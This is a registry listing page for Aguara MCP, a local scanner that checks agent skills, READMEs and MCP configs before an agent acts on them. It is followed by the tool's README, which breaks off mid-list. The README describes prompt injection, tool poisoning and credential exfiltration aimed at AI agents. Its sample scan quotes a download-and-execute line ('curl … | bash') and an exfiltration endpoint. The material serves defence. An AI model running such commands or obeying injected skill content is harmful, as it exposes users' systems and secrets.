GitHits
Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.
Security scanner for AI agent skills and MCP servers
列表按使用分(满分 100)排序,由以下部分组成
| 热度 | 8/80 | GitHub 星标或每周下载量:较大的计 60,较小的计 20 |
|---|---|---|
| 新鲜度 | 12/12 | 30 天内有发布或代码更新得满分 |
| 仍在响应 | 0/8 | 上次检查时云端端点有响应 |
| 使用分 | 20/100 |
质量: 基础检查通过 3/3 项(仅展示,不用于排序) · 上升势头: 暂无数据 (只用于“上升中”标签)
选择你使用的 AI 应用,然后复制设置。
通过 3/3 项检查 · 在你的电脑上运行
第一步:你用哪个 AI?
选择你用的应用,步骤会显示在下方。
可连接 Claude,但需要先准备
不需要密钥,不用安装程序 · 仅限电脑上的 Claude 应用(Windows 或 Mac),网页和手机不可用
用 Aguara MCP 告诉我你能帮我做什么,然后做一件给我看✓ 如果 Claude 说正在使用 Aguara MCP,或回答中出现 Aguara MCP 的工具名称,就表示连接成功
菜单名称已于 2026年11月11日 对照 Anthropic 帮助页面核实 · 你的界面可能因版本略有不同
ChatGPT 暂时无法连接 Aguara MCP
Aguara MCP 需要安装在你的电脑上,而 ChatGPT 只能连接在网上运行的服务器
A · 使用能连接 Aguara MCP 的应用
B · 网络安全 类中能连接 ChatGPT 的其他服务器
从同类中使用较多的里挑选,仅限用地址即可连接、无需密钥的
Claude Code 暂时无法连接 Aguara MCP
开发者只提供了电脑版 Claude 应用的安装文件
A · 使用能连接 Aguara MCP 的应用
Cursor 暂时无法连接 Aguara MCP
开发者只提供了电脑版 Claude 应用的安装文件
A · 使用能连接 Aguara MCP 的应用
VS Code 暂时无法连接 Aguara MCP
开发者只提供了电脑版 Claude 应用的安装文件
A · 使用能连接 Aguara MCP 的应用
依据这个服务器的连接方式和各应用自己的文档,检查于 2026年11月10日。
在你的电脑上运行,适用于
ClaudeGooseLM StudioMsty StudioCherry StudioVisual StudioWindsurf (Devin Desktop)ZedKiroClineContinueJetBrains AI AssistantCodex CLIGemini CLIOpenCodenodecodeWarpLibreChatRaycast
它在你的电脑上运行;安装后,工具列表会显示在你的 AI 应用中。
我们检查的是任何人都能看到的信息;我们没有阅读代码。不适用的检查项不计入总数。 · 检查于 2026年11月19日
注册名称已通过 GitHub 账户 garagon 验证,该账户拥有此仓库
代码最后更新于17天前
使用 MIT
它在你的电脑上运行,没有互联网端点
在你的电脑上运行,改用本地设置
它在你的电脑上运行;我们只能读取互联网端点的工具列表
如果你是作者,可把这段代码贴到 README。徽章会链接回本页。
[](https://mcp.popnx.com/en/servers/garagon-aguara-mcp)提问、分享技巧或报告无法使用。按“有帮助”数量排序。
还没有评价
与注册中心里这个分类中所有活跃的服务器比较。只有当发布者拥有该仓库时,星标数才计入。
它在 3 项适用的基础检查中通过了 3 项。我们没有阅读代码。在添加密钥或令牌之前,请先看看这个服务器要求哪些权限,并使用只具备所需权限的密钥。
注册中心没有列出必需的密钥,不过有些服务器会在首次使用时要求你登录。
它在你的电脑上运行。你的 AI 应用会在需要时启动它,数据不会经过作者的服务器(除非它自己调用在线服务)。
GitHub 仓库最后更新于17天前,最新版本(0.2.0)于9个月前进入注册中心。
支持 MCP 的应用,例如 Claude Desktop、Claude Code、Cursor 和 VS Code。你的电脑上还需要有 MCPB。
同一分类中有:GitHits, Dependency Management MCP Server, Snyk MCP, TokenSafe, Draugr
同一分类、其他作者、命令已通过检查。官方的排在前面,再按星标排序。
如何看卡片:↓ 每周下载量i★ GitHub 星标i三大支柱:评价 · 检查 · 使用情况i更新 = 最新版本发布到注册中心的时间i
Search public open-source code, documentation, metadata, vulnerabilities, changelogs, and examples.
Sonatype component intelligence: versions, security analysis, and Trust Score recommendations
Easily find and fix security issues in your applications leveraging Snyk platform capabilities.
Your AI agent is smart enough to code all day. Local firewall & zero-loss runtime.
Security scanning for AI agents: SAST, SCA, secrets, IaC, DAST, ranked by real risk.
| 本项 Aguara MCP | GitHits | Dependency Management MCP Server | Snyk MCP | TokenSafe | Draugr | |
|---|---|---|---|---|---|---|
| 运行位置 | 需要安装在电脑上 | 云端或安装在电脑上都可以 | 在云端运行,无需安装 | 需要安装在电脑上 | 云端或安装在电脑上都可以 | 需要安装在电脑上 |
| 需要密钥 | 否 | 否 | 否 | 否 | 否 | 否 |
| 可在 Claude 中按 + 添加 | 否 | 否 | 否 | 否 | 否 | 否 |
| 基础检查 | 3/3 | 5/5 | 3/4 | 3/3 | 5/5 | 3/3 |
| 许可证 | MIT | Apache-2.0 | – | Apache-2.0 | MIT | Apache-2.0 |
| 价格 | 登记中未列出费用 | 登记中未列出费用 | 登记中未列出费用 | 登记中未列出费用 | 登记中未列出费用 | 登记中未列出费用 |
按原文从作者的仓库复制。PopNx MCP 没有审查或背书其内容。HTML、图片和脚本已被移除。链接会离开本站。
Local security checks for AI agents before they trust third-party tools.
Aguara MCP gives Claude Code, Cursor, Windsurf, and any MCP-compatible agent a local tool for reviewing untrusted agent content before acting on it.
When an agent is about to install an MCP server, inspect a skill, read a plugin README, or load a tool configuration, it can call Aguara first. The scan runs locally, inside the MCP server, and returns a structured verdict with findings, severity, remediation, and the rule that triggered.
No LLM calls. No network access. No subprocess to the aguara binary. The MCP server imports Aguara as a Go library and runs the scanner in-process.
Use it to help agents answer questions like:
The v0.9.0 source pins Aguara commit 8412e8e, a post-v0.28.0 revision that restores direct Python cron-write detection. The exact Go module version is v0.28.1-0.20261101224820-8412e8e5d2d1; this is not a published Aguara v0.28.1 release. Building from source requires Go 1.26 or later. Source changes can precede published binaries; check GitHub Releases for available artifacts. Built on the official MCP SDK (v1, Tier 1).
In v0.9.0, discovery returns a redacted inventory instead of raw local configurations, and scanned content can no longer suppress its own findings with inline Aguara directives. Explicit caller options such as disabled_rules remain supported. Upgrading from v0.8.0: callers that forwarded discovery output to check_mcp_config must instead supply the original configuration JSON; the inventory is not a scan input or a security verdict.
Repository-wide dependency checks (npm, PyPI, pnpm, Go, crates.io, Composer, RubyGems, Maven, NuGet) are still handled by the Aguara CLI:
aguara check .
aguara audit . --ci
These will land as MCP tools in a future release once Aguara core exposes a stable public Check API; see garagon/aguara for the CLI install path.
AI agents are gaining autonomy. They browse registries, discover tools, install MCP servers, and execute third-party code - often without any security review.
This creates a new attack surface. A skill published to a registry today can contain:
curl | bash, shell injection)The agent doesn't know. It can't tell a helpful tool from a weaponized one. The description looks normal. The install succeeds. The damage is done.
This is the gap Aguara MCP fills. It gives the agent a security advisor it can consult as a tool - the same way a developer would run a linter before merging code. One tool call, milliseconds, entirely local. The agent checks first, then decides.
curl -fsSL https://raw.githubusercontent.com/garagon/mcp-aguara/main/install.sh | sh
One command, one binary, no external dependencies. The installer verifies SHA256 checksums before extracting and fails closed if no sha256 verifier is available on the host (no silent skip).
Make sure the install directory (
~/.local/bin) is in yourPATH. The binary is statically linked with the Aguara rule catalog and analyzers compiled in so all MCP scans run fully offline. Aguara core's OSV-derived threat-intel snapshot is not bundled in this binary because the MCP does not expose repository-wide dependency checks yet; use the Aguara CLI for those (see garagon/aguara for install + usage).
Claude Code:
claude mcp add aguara -- aguara-mcp
Claude Desktop - add to claude_desktop_config.json:
{
"mcpServers": { "aguara": { "command": "aguara-mcp" } } }
Cursor / Windsurf / any MCP client - stdio transport with aguara-mcp.
Your agent now has a security advisor.
scan_contentScan text for security threats before acting on it. Works on agent skills, READMEs, tool definitions, MCP server descriptions, prompts, package manifest content (package.json), GitHub Actions workflow YAML when the filename argument contains .github/workflows/, Claude Code settings when filename is .claude/settings.json or .claude/settings.local.json, agent instruction files (.cursorrules, .windsurfrules, .clinerules, AGENTS.md, copilot-instructions.md), npm install-trust policy when filename is .npmrc or package.json, and pnpm policy when filename is pnpm-workspace.yaml. Detects prompt injection (pattern + NLP), credential leaks, exfiltration, command execution, supply-chain patterns, MCP attacks, package metadata risks, JavaScript / Python / Rust install-time payload shapes, GitHub Actions trust chains, risky agent host configuration, weakened npm / pnpm supply-chain settings, and Unicode/encoding evasion. Sensitive matches are redacted in the response: when a finding is marked Sensitive=true (cred+exfil combos, toxic-flow cred reads, MCP_007) or belongs to the credential-leak category, matched_text is replaced with [REDACTED] so the scanner never creates a second copy of the secret. Supports context-aware false-positive reduction via tool_name.
| Parameter | Required | Description |
|---|---|---|
content | Yes | The text content to scan |
filename | No | Filename hint for rule matching (default: skill.md) |
tool_name | No | Tool that generated the content (e.g., Bash, Edit, WebFetch). Enables context-aware false-positive reduction |
scan_profile | No | Enforcement profile: strict (default, all rules), content-aware (reduced FP for known tools), or minimal (flag-only mode) |
min_severity | No | Minimum severity to report: INFO, LOW, MEDIUM, HIGH, or CRITICAL |
disabled_rules | No | List of rule IDs to skip (e.g., ["PROMPT_INJECTION_001"]) |
Returns a structured report with verdict (clean, flag, or block), severity-rated findings with remediation guidance, matched patterns, line numbers, confidence scores, and which analysis engine produced each finding.
check_mcp_configCheck an MCP server configuration (JSON) for security issues before adding it to a client. Detects dangerous command shapes in command/args, credential exposure in env, unsafe argument injection, and tool-poisoning patterns. Use on any mcpServers entry from Claude Desktop, Cursor, VS Code, or other MCP clients before enabling it. Sensitive matches are redacted in the response.
| Parameter | Required | Description |
|---|---|---|
config | Yes | MCP configuration as a JSON string |
scan_profile | No | Enforcement profile: strict (default), content-aware, or minimal |
min_severity | No | Minimum severity to report: INFO, LOW, MEDIUM, HIGH, or CRITICAL |
disabled_rules | No | List of rule IDs to skip |
list_rulesBrowse the embedded engine's catalog: 259 detections (191 YAML pattern rules + 68 analyzer-emitted rules). Useful when the agent needs to understand a finding or filter by category. Catalog availability is not activation: bundle checks and stateful monitoring are not available through these single-content MCP tools.
| Parameter | Required | Description |
|---|---|---|
category | No | Filter by category (e.g., prompt-injection, exfiltration, credential-leak) |
explain_ruleGet detailed information about a specific rule by ID. Resolves both YAML rules (returns patterns plus true/false-positive examples) and analyzer-emitted rule IDs from ci-trust, pkgmeta, jsrisk, pyrisk, rsbuild, npm-policy, pnpm-policy, agent-policy, NLP, toxic-flow, and rug-pull (returns severity, category, analyzer name, description, and remediation; analyzer rules have no inline patterns or examples).
| Parameter | Required | Description |
|---|---|---|
rule_id | Yes | Rule ID (e.g., PROMPT_INJECTION_001) |
discover_mcpDiscover MCP server configurations on the local machine by reading known MCP client config files (Claude Desktop, Cursor, VS Code, Windsurf, and others). Returns client identifiers, response-local config/server IDs, and argument/environment counts. Commands, arguments, environment keys and values, server names, and local paths are withheld because any of these fields can carry credentials or instructions.
Read-only, not a scan: discovery never executes commands or connects to servers. The response is marked kind: "aguara.discovery-inventory", redacted: true, and scan_status: "not_scanned". It is best-effort: unreadable or unsupported configurations may be skipped, so an empty inventory is not evidence that the machine is safe or has no MCP configurations.
This intentionally replaces the raw-definition response. check_mcp_config rejects this inventory; it needs the original configuration JSON to inspect risky commands and credentials. Do not reconstruct a configuration from inventory counts or treat discovery as a security verdict.
No parameters required.
An agent evaluating whether to install an MCP server from a registry:
User: "Install the data-processor MCP server"
Agent (before installing, calls scan_content with the skill README):
→ { "summary": "Found 2 issues: 1 critical, 1 high", "verdict": "block", "findings": [ { "severity": "CRITICAL", "rule_id": "SUPPLY_003", "rule_name": "Download-and-execute", "remediation": "Avoid piping remote scripts directly into a shell. Download first, verify integrity, then execute.", "line": 12, "matched_text": "curl https://cdn.example.com/setup.sh | bash", "analyzer": "pattern" }, { "severity": "HIGH", "rule_id": "EXFIL_001", "rule_name": "Data exfiltration endpoint", "line": 34, "matched_text": "https://collect.example.com/data", "confidence": 0.92, "analyzer": "nlp" } ] }
Agent: "I scanned the data-processor skill and found 2 security issues: a script that downloads and executes remote code, and an endpoint that could exfiltrate your data. I'd recommend not installing it."
Without Aguara MCP, the agent would have installed it silently.
The pinned development engine's catalog totals 259 detections (191 YAML pattern rules + 68 analyzer-emitted). The MCP tools analyze one submitted content item at a time:
.github/workflows/*.yml for pwn-request chains, cache poisoning, OIDC token surface, and persisted-credentials checkout patterns. Reachable from MCP when the filename argument contains .github/workflows/.package.json analysis for install-time lifecycle scripts paired with git-sourced dependencies, optional-git